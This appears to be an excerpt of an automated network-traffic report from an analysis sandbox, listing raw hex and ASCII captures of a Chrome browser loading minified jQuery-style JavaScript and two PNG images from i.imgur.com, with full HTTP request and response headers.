2025-03-26 17:07:40 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2025-03-26 17:07:40 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2025-03-26 17:07:40 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2025-03-26 17:07:40 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49738	199.232.36.193	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:07:40 UTC	587	OUT	GET /0HdPsKK.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:41 UTC	756	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5579 Content-Type: image/png Last-Modified: Thu, 20 Feb 2025 02:14:56 GMT ETag: "28a8812c3aaf8af83ba5c83c58750528" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: YYTlmwzZRLqXoGXppDaHC3Gtdw92u8SHfCwF9eVUy31VA6g75HGzNw== cache-control: public, max-age=31536000 Accept-Ranges: bytes Age: 2711918 Date: Wed, 26 Mar 2025 17:07:40 GMT X-Served-By: cache-iad-kiad7000021-IAD, cache-lga21920-LGA X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 11253, 0 X-Timer: S1743008861.965292,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 00 55 08 06 00 00 00 a6 46 3a 96 00 00 15 92 49 44 41 54 78 9c ec 9d 0b 94 5b 55 bd ff bf bf 73 92 4c 87 4e 0b 14 da 22 85 ce b4 50 40 d4 5a 44 84 76 48 ce 49 67 0a 88 2f a4 88 8a 02 ca fa 03 fe 51 c1 85 02 2e 04 9a b2 00 29 78 e1 e2 c5 07 57 91 87 d6 8b 08 f5 a2 82 80 b4 d9 c9 cc 14 aa 94 87 0f b4 0a a5 14 4a 6b a9 d4 76 66 3a d3 49 72 7e 77 9d 24 33 ce 24 fb 24 27 cf 33 e9 ec cf 5a b3 26 d9 cf ef 49 b2 7f fb bd b7 0f 0a c5 04 a1 ef c6 39 33 91 e4 d3 99 71 1a 33 e6 10 61 0a c0 53 19 98 4a a0 96 7f 87 e4 1d 0c fc 8e 40 bf d7 60 3d 9b 0a a4 9e 9e 7a f5 96 7f 7a a9 bd 56 90 d7 02 14 8a 5a 32 70 c3 9c d6 64 d2 ba 08 a0 0f 01 78 6f 05 49 fd 01 b0 1e 06 f0 d0 94 c8 e6 97 aa 28 d1 53 94 01 50 ec Data Ascii: PNGIHDRUF:IDATx[UsLN"P@ZDvHIg/Q.)xWJkvf:Ir~w$3$$'3Z&I93q3aSJ@`=zzVZ2pdxoI(SP
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 34 f9 e0 31 ce b4 df 3b 6a 97 27 e1 a4 a1 ff 35 22 40 ec ba e2 41 15 0a 17 ec 5e d6 7a 35 11 be 61 ff 74 bd d6 d2 28 d0 7e 07 a2 f9 bc 95 d0 66 4a 06 e8 53 7b 91 78 ec 4c 20 59 bb 9b c3 fc 9c 3c 82 96 76 6f 2c 14 46 b5 00 14 05 e9 bd be cd 80 85 fb 01 cc f6 5a 4b 23 a1 1d 7c 04 9a 3f 7b 1f 68 ff 59 f2 00 7a 13 f4 a3 3e 8d d4 4b 77 d7 4c c3 10 e9 37 03 38 bb 50 18 35 08 a8 70 a4 2f d2 7a 0e 2c 7e 4a 15 fe d2 f0 7f e0 3c ec 77 f1 a3 ce 85 3f 0b cd fb 24 68 c6 09 35 d3 41 8c a5 fc ab c5 05 45 28 03 a0 90 b2 3b d2 b6 82 41 2b 01 52 ad 44 17 50 cb 74 f8 17 5d 84 c9 5f 5e 83 a6 0f 2e 07 7c 4d c5 e3 68 7e f8 da 6f 81 36 e7 63 35 12 45 5a 22 91 ba bc 60 90 da e4 ac 68 64 fa 96 b7 5d c6 8c ff f4 5a 47 4d b0 0b a6 a6 03 a4 a7 2f 1a a2 e1 d7 9a 96 fd 6f bf d7 d2 ff Data Ascii: 41;j'5"@A^z5at(~fJS{xL Y<vo,FZK#\|?{hYz>KwL78P5p/z,~J<w?$h5AE(;A+RDPt]_^.\|Mh~o6c5EZ"`hd]ZGM/o
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: fa a6 69 7e 4b 08 51 93 93 32 42 a1 d0 22 22 ac c8 3d fc 9a 08 f6 e7 54 b6 01 20 c2 25 00 bd ab 48 98 31 0d 6c c3 30 77 12 e1 16 21 c4 cd 2e b3 69 a9 e4 fb 20 42 3f 80 3c 03 60 18 e1 eb 00 1c d1 dc dc bc 33 1c 0e ff 66 4c 17 20 14 0a cd 63 a6 f5 44 da 2d 00 1d 50 3c 13 5a a2 69 78 c4 34 cd 7b ca 15 5a 6d 4c d3 bc 9d 48 8b 3b 15 fe b1 d0 c1 00 dd 69 9a e1 67 82 c1 60 0d 2f 6c af 17 e9 e7 f9 8c a6 f1 6a c3 30 9f ec e8 e8 70 bc 12 6a 22 a0 69 da 97 e5 3e 74 b0 69 9a e7 d7 53 0b 11 1d 08 d0 37 0d 23 1c eb ec ec dc bf 9e 79 0f 63 18 c6 12 66 7a 06 e0 29 cc 34 c3 6e dd 8f 18 80 70 38 7c 3c 91 b6 9e 08 c7 96 9e 34 7d ce 30 c2 45 b7 3e 31 53 4d ef 21 30 4d f3 71 80 be 52 46 d4 13 75 5d 7f 6e f1 e2 c5 ad c5 02 32 b3 f4 19 9c dc 8b f9 d5 0a db 38 a7 52 a9 67 3b 3a Data Ascii: i~KQ2B""=T %H1l0w!.i B?<`3fL cD-P<Zix4{ZmLH;ig`/lj0pj"i>tiS7#ycfz)4np8\|<4}0E>1SM!0MqRFu]n28Rg;:
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: e9 af 37 3e 22 6c 01 c6 4e 01 12 e1 7d c1 60 70 7a 57 57 97 b4 70 95 0b 33 51 0d 96 02 49 8f 5e 65 e6 25 00 d6 15 8a 18 0c 06 df 41 44 ef c9 75 27 42 a1 2f c7 69 d9 aa a3 c1 91 75 b3 b2 1a 77 15 d2 e7 44 21 63 e3 34 b7 cd 4c af 95 93 97 3b 3d e3 63 11 10 91 f6 c5 5c 37 66 fc c1 b2 ac 79 a6 69 ce cb 3a 49 47 fc 75 5d bf 14 40 91 be 75 35 e0 fb 84 10 05 c7 d7 90 5d 08 a4 eb d2 ad 3a 1b 8a 4f b9 f2 a0 5b 35 3e 66 ea 22 c2 82 5c 0f 5d d7 bf 0a c0 51 a8 69 9a 2d cc f8 1b 51 7e 6b 61 60 60 cf fe eb d6 ad ab d7 65 68 4f c9 9d e9 0b ed ed ed 77 f4 f4 f4 f4 3a 45 d4 75 5d ba 70 89 d9 f9 98 6c 22 da 29 5f ce a4 1d 59 40 e3 09 32 47 cb b2 a4 f7 b5 55 06 fd 87 dc dd 72 f8 9c 8a e1 66 1d 00 ff a3 bc b4 ab 47 38 1c 5e ca 8c 59 b9 ee 44 98 0f 50 b4 78 0a 74 7e 47 47 c7 Data Ascii: 7>"lN}`pzWWp3QI^e%ADu'B/iuwD!c4L;=c\7fyi:IGu]@u5]:O[5>f"\]Qi-Q~ka``ehOw:Eu]pl")_Y@2GUrfG8^YDPxt~GG
2025-03-26 17:07:41 UTC	95	IN	Data Raw: 4b b7 97 77 74 74 cc 4c a5 52 3f c9 f7 e1 bc 01 38 19 42 88 87 4c d3 8c e4 0f 6c 51 c1 c1 59 66 7c 57 72 26 a0 54 63 2c 16 5d 66 9a 66 22 b7 ac 11 01 93 26 4d 3a 56 b6 79 0b 99 59 80 de 0a 3e af 51 69 14 e6 ff 02 00 00 ff ff 5a 98 a3 a9 0f 7b c2 43 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: KwttLR?8BLlQYf\|Wr&Tc,]ff"&M:VyY>QiZ{CIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49737	199.232.36.193	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:07:40 UTC	587	OUT	GET /KAb5SEy.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:41 UTC	759	IN	HTTP/1.1 200 OK Connection: close Content-Length: 48869 Content-Type: image/png Last-Modified: Thu, 20 Feb 2025 13:35:05 GMT ETag: "8aa14660517f5460156fccc2199cf83c" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: ZMDtIIYNSizYrfDVWXb5ZuJtkSbNLszxoUAHUCL9zZz9IlMMufkJOg== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Wed, 26 Mar 2025 17:07:40 GMT Age: 2760934 X-Served-By: cache-iad-kjyo7100129-IAD, cache-lga21945-LGA X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 14884, 253 X-Timer: S1743008861.970050,VS0,VE0 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 a7 00 00 02 3e 08 02 00 00 00 0e ee 34 d8 00 00 80 00 49 44 41 54 78 9c ec bd 77 7c 14 e5 da ff bf b3 b3 7d 37 3d 10 0c 3d 94 50 42 11 54 10 8f 22 d6 a3 1e 45 e4 b1 60 45 54 1e 11 45 ba 22 52 45 a4 89 05 eb 51 44 fd 3e 3e a8 14 c1 47 39 08 7a 10 14 50 94 5e 12 6a 28 21 04 48 48 48 d9 36 ed f7 3a 5c fe 6e c7 94 d9 cd 92 9d 6c 76 3f ef 3f 7c 6d 76 67 97 7b dc d9 f9 dc f7 75 5f 9f eb 32 29 8a 62 00 00 00 00 40 0c 60 ac ef 01 00 00 00 00 40 27 a0 fa 00 00 00 40 ac 00 d5 07 00 00 00 62 05 a8 3e 00 00 00 10 2b 40 f5 01 00 00 80 58 01 aa 0f 00 00 00 c4 0a 50 7d 00 00 00 20 56 80 ea 03 00 00 00 b1 02 54 1f 00 00 00 88 15 a0 fa 00 00 00 40 ac 00 d5 07 00 00 00 62 05 a8 3e 00 00 00 10 2b 40 f5 01 00 00 80 58 Data Ascii: PNGIHDR>4IDATxw\|}7==PBT"E`ETE"REQD>>G9zP^j(!HHH6:\nlv??\|mvg{u_2)b@`@'@b>+@XP} VT@b>+@X
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 95 de 05 00 00 20 34 f8 a9 53 a7 d6 f7 18 40 1d 50 a9 2c 2e 7b 92 64 d8 ef f7 7f f0 c1 07 6f bf fd f6 91 23 47 2e fe df a2 cf ac a9 05 1f 1d 40 35 79 68 f6 c0 f3 bc c5 62 a9 6d 96 80 d9 6c 16 45 f1 d4 a9 53 1e 8f 27 23 23 23 35 35 d5 68 34 92 2b e1 e2 4f 01 00 00 62 13 44 f8 1b 3c b4 94 67 02 4c 79 fb a4 8e 24 90 a2 28 2e 58 b0 60 ee dc b9 a7 4e 9d ba 98 7f a8 da 9d 7e b5 47 40 7d 24 2b d3 1b f2 05 46 19 00 b4 0b f0 d8 63 8f 8d 1f 3f 1e 8e 3e 00 00 b8 48 a0 fa 51 8e db ed 9e 33 67 ce 82 05 0b ce 9d 3b 47 4b f0 da c6 c9 d5 95 74 6b 82 2d fd 69 7b be ea 4b 3c cf 57 7a 3e 18 58 8e a1 cd 66 7b e0 81 07 46 8e 1c 99 95 95 55 db 0f 01 00 00 c0 40 84 3f 4a 10 04 81 a5 eb b3 75 7f 41 41 c1 dc b9 73 17 2c 58 50 52 52 62 32 99 ec 76 bb cf e7 ab ed 27 b3 d5 3c fd 49 Data Ascii: 4S@P,.{do#G.@5yhbmlES'###55h4+ObD<gLy$(.X`N~G@}$+Fc?>HQ3g;GKtk-i{K<Wz>Xf{FU@?JuAAs,XPRRb2v'<I
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 15 15 15 4c ec 03 a6 22 32 1f 3f 1d 4c 66 01 83 c1 30 7a f4 e8 f1 e3 c7 a7 a5 a5 85 6f c0 00 00 d0 a0 81 ea 47 1c 14 ee 0e 78 d8 a2 45 8b c6 8c 19 53 5c 5c 1c c2 3f c1 8a dd 5a ad 56 9f cf c7 71 5c db b6 6d 37 6e dc 18 17 17 67 b3 d9 2a 25 de 87 1b 51 14 1f 79 e4 91 ff fd df ff 25 39 3f 7f fe 7c b5 c2 1f 8c 8f df 6c 36 0f 1c 38 70 da b4 69 e4 33 84 9d 0f 00 00 2a 81 08 7f c4 11 8c dc 2e 5c b8 70 fa f4 e9 05 05 05 54 0a b7 b6 9f 4f 85 71 52 52 52 68 b9 7c e7 9d 77 fe f3 9f ff 6c d2 a4 09 49 be 7a 27 5e dd cb 27 4c 18 8d c6 56 ad 5a 71 1c 97 9d 9d 5d 5e 5e 6e b5 5a 5d 2e 97 db ed b6 58 2c ea 7f 9d 02 fb 26 93 a9 a6 3a 04 e4 e3 3f 79 f2 a4 ba 1f 3f 6b 4a 04 00 00 00 aa df 90 20 09 14 45 f1 bd f7 de 9b 3c 79 72 7e 7e be d9 6c 0e c1 94 4f da 69 b3 d9 4a 4b 4b Data Ascii: L"2?Lf0zoGxES\\?ZVq\m7ng%Qy%9?\|l68pi3.\pTOqRRRh\|wlIz'^'LVZq]^^nZ].X,&:?y?kJ E<yr~~lOiJKK
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: ab 55 c7 53 a9 4b a8 83 0e f9 f8 3d 1e cf d1 a3 47 7d 3e 1f 2d f4 59 25 c1 9a 36 f5 69 cb 9f 22 25 54 9e 48 14 45 af d7 0b 1f 3f 00 20 36 81 73 2f 52 c8 cb cb 9b 32 65 ca 47 1f 7d 44 5e 3b e1 02 06 83 21 2e 2e 4e 14 45 ed 7d 7d 52 7d 52 3e 2a 64 6b 36 9b 37 6e dc d8 b5 6b 57 1d cf 40 0f 3c 1e cf 8d 37 de b8 7d fb 76 b7 db cd f3 3c c9 79 40 1f bf c3 e1 50 14 85 fe 1f da 6c 36 56 d9 10 3e 7e 00 40 ac d1 90 12 bb 1a 28 1a cb 50 b6 7c cf ce ce 1e 39 72 e4 a2 45 8b e8 4f b7 db cd 5e 2a 2b 2b 23 b9 aa 94 9f cf 48 48 48 20 f7 5a 7c 7c 3c 6d ed f7 ee dd fb b7 df 7e 8b 3e c9 a7 3a 45 1b 36 6c e8 df bf 3f ed 59 24 24 24 50 be 82 c5 62 a9 94 a5 68 34 1a d9 8e 86 db ed 66 d3 26 af d7 cb be 91 05 0b 16 8c 1e 3d fa d0 a1 43 f4 67 08 e5 8d 01 00 a0 61 81 08 7f d8 d1 b0 Data Ascii: USK=G}>-Y%6i"%THE? 6s/R2eG}D^;!..NE}}R}R>dk67nkW@<7}v<y@Pl6V>~@(P\|9rEO^++#HHH Z\|\|<m~>:E6l?Y$$$Pbh4f&=Cga
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: de 7d fb f6 29 8a 02 1f 3f 00 a0 a1 03 bf 7e 18 f9 f5 d7 5f 6f bf fd f6 b3 67 cf 5a 2c 16 5a af d3 da 5d 92 24 9b cd a6 b1 bb cf 1c e7 f4 20 21 21 a1 57 af 5e 2b 57 ae b4 d9 6c fa 9e 41 83 27 64 1f bf 24 49 34 45 a3 5a fd 34 f7 1a 37 6e dc d8 b1 63 d5 7b fc 55 d3 36 01 00 20 92 81 25 a9 8e 61 8b f8 8d 1b 37 0e 1b 36 ec ec d9 b3 a4 3d 34 bb 12 45 91 84 87 49 3e 2b a7 4f e9 7b 1c c7 31 3b 7e 42 42 02 3d b8 f3 ce 3b 21 f9 a1 51 93 8f 9f 59 f6 09 da 55 61 fa 5d 5e 5e ce ea 28 78 3c 1e f6 9d be f6 da 6b 23 47 8e 3c 72 e4 08 fd 29 08 02 24 1f 00 d0 b0 40 84 bf 2e 51 14 85 dc f6 bb 76 ed 9a 31 63 c6 fa f5 eb 2d 16 8b 76 8d 17 16 6b 61 f6 3c 2a ba 27 cb b2 c7 e3 31 9b cd 4f 3e f9 e4 c8 91 23 11 58 0e 19 f2 f1 cb b2 bc 77 ef 5e b7 db 6d b7 db 5d 2e 97 db ed 66 33 Data Ascii: })?~_ogZ,Z]$ !!W^+WlA'd$I4EZ47nc{U6 %a76=4EI>+O{1;~BB=;!QYUa]^^(x<k#G<r)$@.Qv1c-vka<*'1O>#Xw^m].f3
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 7e f8 e1 a1 87 1e ca cb cb a3 4b ba ac ac 4c 96 65 9e e7 99 c3 48 92 24 9f cf 47 9e 94 a2 a2 a2 23 47 8e dc 73 cf 3d f5 3d 70 10 5e a0 fa a1 40 92 ff eb af bf 4e 99 32 e5 f0 e1 c3 d4 2f a7 b6 6e 08 12 92 c7 1e 7b 6c c6 8c 19 b4 59 00 c9 d7 19 b5 8f bf 7b f7 ee 65 65 65 db b7 6f af ad 8f df 64 32 09 82 a0 f6 f1 53 3f 7e f8 f8 41 fd b2 7c f9 f2 91 23 47 16 14 14 50 6b 69 ba e1 a8 a7 b0 74 db 61 7d a4 14 45 39 78 f0 e0 ed b7 df de a4 49 93 7a 1d 38 08 2f 50 fd 5a 43 e1 fd a2 a2 a2 59 b3 66 ad 5e bd 3a 98 ce ad d5 62 b1 58 ee bd f7 de 09 13 26 20 1a 5c bf d0 8e 7e 72 72 72 68 3e 7e 93 c9 44 0d 96 d4 3e fe 9c 9c 1c ea c7 0f 1f 3f d0 1f bf df bf 6c d9 b2 b9 73 e7 ee dd bb 97 d5 0e b1 58 2c 0e 87 83 1e 3b 9d 4e 8a 35 92 9f 85 2e 60 45 51 44 51 6c d4 a8 51 bf 7e Data Ascii: ~KLeH$G#Gs==p^@N2/n{lY{eeeod2S?~A\|#GPkita}E9xIz8/PZCYf^:bX& \~rrrh>~D>?lsX,;N5.`EQDQlQ~
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 6a fd e6 9b 6f d8 ce 3d 68 88 f8 fd 7e 56 a2 3c 21 21 81 1e b0 0a 3f 44 25 1f bf 06 c3 86 0d a3 8f ad a8 a8 a8 ef 33 03 0d 92 a5 4b 97 a6 a7 a7 53 05 1e 8d 2b 8d 5d a2 64 3d 65 8f 0d 06 43 62 62 22 bd da ae 5d bb e5 cb 97 d7 f7 09 01 9d 40 84 3f 00 54 63 67 e5 ca 95 9f 7f fe 39 f9 f4 6a 82 b5 cd 65 6d 2d 98 cb 6b e4 c8 91 0f 3f fc b0 d5 6a 85 71 ab e1 c2 f3 7c cb 96 2d 65 59 56 f7 e3 77 bb dd b5 ed c7 4f 1c 3b 76 4c 92 a4 bf fd ed 6f b4 4f 84 fd 1d 50 2b 96 2e 5d 3a 6d da b4 c3 87 0f 07 ac f3 a1 76 99 b2 c7 1c c7 c5 c7 c7 9f 3f 7f 5e 96 e5 ac ac ac d1 a3 47 df 7d f7 dd b8 08 63 85 fa 9e 76 44 34 1e 8f 47 51 94 bc bc bc 9b 6f be 99 fe 77 69 af f5 69 e2 4c 3d 57 d8 cc ba 53 a7 4e c7 8e 1d ab ef 53 01 75 c3 a1 43 87 fe eb bf fe 8b be 6e 5a 63 31 81 57 5f 1b Data Ascii: jo=h~V<!!?D%3KS+]d=eCbb"]@?Tcg9jem-k?jq\|-eYVwO;vLoOP+.]:mv?^G}cvD4GQowiiL=WSNSuCnZc1W_
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: be 42 20 a1 3a 36 81 2f 1f 84 15 a8 fe 5f a0 9b f5 d9 b3 67 3f f9 e4 13 ba e7 32 87 2b 9b 44 6b 7f c2 ed b7 df 7e fd f5 d7 ab df 08 a2 1e ea 9a 68 30 18 2e bd f4 d2 71 e3 c6 5d 77 dd 75 21 7c 88 d9 6c ce cb cb 5b b7 6e 5d 18 06 08 1a 12 a1 f5 cb 57 d7 d8 67 21 81 b4 b4 b4 99 33 67 3e f8 e0 83 f4 a7 28 8a 54 6d 0c 61 a4 58 06 aa ff 17 28 b8 fa d5 57 5f 9d 3c 79 92 04 5e dd 4f 5d bb 59 b5 28 8a 8d 1a 35 7a f0 c1 07 69 4a ae ee a3 0f a2 1b 8e e3 58 06 f5 35 d7 5c f3 d0 43 0f a5 a4 a4 d4 f6 43 28 ee fa d5 57 5f 51 55 47 10 83 c0 97 0f 74 00 aa ff 27 14 d2 17 45 71 e5 ca 95 ec c7 43 6d 2a 58 b1 55 ed 39 72 87 0e 1d ae bd f6 5a 0a a3 e9 38 70 50 9f b0 4b 42 10 04 7a 7c d7 5d 77 3d fc f0 c3 b5 fd 1c 59 96 39 8e db b0 61 03 25 6c 83 18 04 be 7c a0 03 50 fd 3f a1 Data Ascii: B :6/_g?2+Dk~h0.q]wu!\|l[n]Wg!3g>(TmaX(W_<y^O]Y(5ziJX5\CC(W_QUGt'EqCm*XU9rZ8pPKBz\|]w=Y9a%l\|P?
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: d0 a0 81 03 07 d2 f3 f0 e5 83 d0 80 ea 1b 28 81 bf 56 de 2a fa 8d 25 24 24 b4 6d db 56 97 01 82 86 8a cf e7 a3 1b 7d 90 f7 65 3a 8c f6 71 c3 3f 3a 10 5e c8 97 bf 7f ff fe b8 b8 38 ca c2 a3 1a ba e4 cb b7 5a ad 54 e6 ab 26 e8 56 c3 56 f9 83 06 0d 1a 3e 7c 38 7b 95 f9 f2 65 59 46 f3 5c 10 3c b8 b3 18 dc 6e 37 f5 d9 a3 1b 6e c0 58 19 a5 ee 1b 0c 86 e1 c3 87 23 b0 06 b4 d9 bb 77 2f b3 60 49 92 a4 a1 e5 14 ec 95 24 89 dc 59 8d 1b 37 d6 77 a4 a1 a0 2d 5a 31 0e f5 cb df bf 7f bf c3 e1 20 c9 af b6 5f 3e 05 17 ab 9d ea c5 c5 c5 91 ea b7 6f df fe bd f7 de 53 4b 3e 03 fd f2 41 6d c1 5a df 70 e8 d0 21 8a b6 a9 db ea 68 37 e0 a1 fb 78 46 46 06 02 6b 40 9b 9c 9c 1c 75 8a b5 46 e5 47 36 83 54 14 25 35 35 55 c7 31 d6 1a 3a 05 ab d5 4a b9 e8 f9 f9 f9 a7 4f 9f 3e 7e fc b8 Data Ascii: (V*%$$mV}e:q?:^8ZT&VV>\|8{eYF\<n7nX#w/`I$Y7w-Z1 _>oSK>AmZp!h7xFFk@uFG6T%55U1:JO>~
